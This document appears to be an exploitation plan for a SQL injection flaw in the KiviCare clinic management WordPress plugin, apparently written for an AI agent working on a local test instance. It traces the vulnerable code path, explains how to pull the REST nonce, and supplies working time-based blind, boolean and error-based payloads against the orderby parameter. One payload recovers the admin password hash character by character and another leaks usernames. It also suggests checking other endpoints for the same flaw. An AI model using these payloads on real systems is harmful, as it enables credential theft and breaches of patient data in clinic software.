Exploitation Research Plan - CVE-2026-15072

1. Vulnerability Summary

The KiviCare – Clinic & Patient Management System (EHR) plugin (<= 4.5.0) is vulnerable to an authenticated SQL injection via the orderby parameter. The vulnerability exists in the KCQueryBuilder class, which fails to properly escape or prepare the sort field before incorporating it into SQL queries. Although the input is passed through sanitize_text_field(), this WordPress function only removes HTML tags and whitespace; it does not neutralize SQL metacharacters, allowing an attacker to manipulate the ORDER BY clause.

2. Attack Vector Analysis

• Endpoint: /wp-json/kivicare/v1/doctor-sessions (REST API)
• Method: GET
• Vulnerable Parameter: orderby
• Authentication Requirement: Authenticated user with the doctor role (or receptionist/clinic_admin with doctor_session_list capability).
• Preconditions: The plugin must be active, and at least one doctor session should exist for the query to execute a path that reaches the database.

3. Code Flow

1. Entry Point: App\controllers\api\DoctorSessionController::registerRoutes() registers the GET route for /doctor-sessions.
2. Argument Definition: getListEndpointArgs() defines the orderby parameter as a string sanitized by sanitize_text_field.
3. Callback: The getDoctorSessions() method (callback) receives the WP_REST_Request.
4. Model Logic: The controller likely instantiates a model (e.g., App\models\KCDoctorSession) and passes the request parameters.
5. Vulnerable Sink: The model utilizes App\baseClasses\KCQueryBuilder (referenced in the CVE) to construct the SQL query. The orderby value is concatenated into the ORDER BY clause without being validated against a whitelist of column names or being wrapped in $wpdb->prepare().

4. Nonce Acquisition Strategy

The WordPress REST API requires a wp_rest nonce for authentication when using cookie-based sessions.

1. Identify Trigger: The KiviCare dashboard enqueues its React-based frontend for authenticated users.
2. Setup:
   • Create a user with the doctor role using WP-CLI.
   • Log in as the doctor user using the browser_navigate tool.
3. Extraction:
   • Navigate to the KiviCare dashboard (usually /wp-admin/admin.php?page=kivicare-clinic-management-system).
   • The nonce is typically localized in a global JavaScript object. Based on the provided source and standard KiviCare patterns, look for the kivicare_api_conf or similar variable.
   • Use browser_eval("window.kivicare_api_conf?.nonce") or search the page source for rest_url and nonce mapping.

5. Exploitation Strategy

We will use a time-based blind SQL injection payload within the orderby parameter.

• Step 1: Create a Doctor user and session.
• Step 2: Obtain the wp_rest nonce.
• Step 3: Send a baseline request to measure response time.
• Step 4: Send a payload designed to trigger a delay.

HTTP Request Pattern:

GET /wp-json/kivicare/v1/doctor-sessions?orderby=(CASE+WHEN+(1=1)+THEN+id+ELSE+(SELECT+1+FROM+(SELECT(SLEEP(5)))x)+END)&order=asc HTTP/1.1
Host: localhost:8080
X-WP-Nonce: [EXTRACTED_NONCE]
Cookie: [DOCTOR_SESSION_COOKIES]

Payload Analysis:

• orderby=(CASE WHEN (1=1) THEN id ELSE (SELECT 1 FROM (SELECT(SLEEP(5)))x) END): If 1=1 is true, it sorts by id. If false, it triggers SLEEP(5).
• We can invert this to confirm: (CASE WHEN (1=2) THEN id ELSE (SELECT 1 FROM (SELECT(SLEEP(5)))x) END) should cause a 5-second delay.

6. Test Data Setup

1. Create Doctor Role User:

   wp user create attacker_doc attacker@example.com --role=doctor --user_pass=password123
   

2. Ensure Plugin is Active:

   wp plugin activate kivicare-clinic-management-system
   

3. Seed Data (Optional but Recommended):
   If the endpoint returns an empty set before the query runs, the ORDER BY might not trigger. Ensure at least one doctor session exists:

   # This might require manual setup via UI or complex SQL depending on schema
   # Use the DoctorSessionController create methods if possible.
   

7. Expected Results

• Baseline: Response in < 200ms.
• Injection (True): Response in < 200ms.
• Injection (Triggered Sleep): Response in ~5000ms.
• Data Extraction: By using (CASE WHEN (ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE id=1),1,1))=36) THEN id ELSE (SELECT 1 FROM (SELECT(SLEEP(5)))x) END), we can verify the first character of the admin hash.

8. Verification Steps

After the HTTP exploit, verify the database's ability to process the injected logic:

1. Check WPDB Error Log (if enabled):

   tail -f /var/www/html/wp-content/debug.log
   

2. Verify via WP-CLI:
   Confirm the doctor user exists and has the correct capabilities.

   wp user cap list attacker_doc
   

9. Alternative Approaches

• Boolean-Based: If time-based is unstable, observe if the order of results changes when injecting (CASE WHEN (condition) THEN id ELSE name END).
• Error-Based: If WP_DEBUG is on, try a payload like updatexml(1,concat(0x7e,(SELECT user_login FROM wp_users LIMIT 1)),1) to see if the error is reflected in the REST response.
• Other Endpoints: Check other controllers that use KCQueryBuilder (e.g., PatientController.php or ClinicController.php) for the same orderby pattern.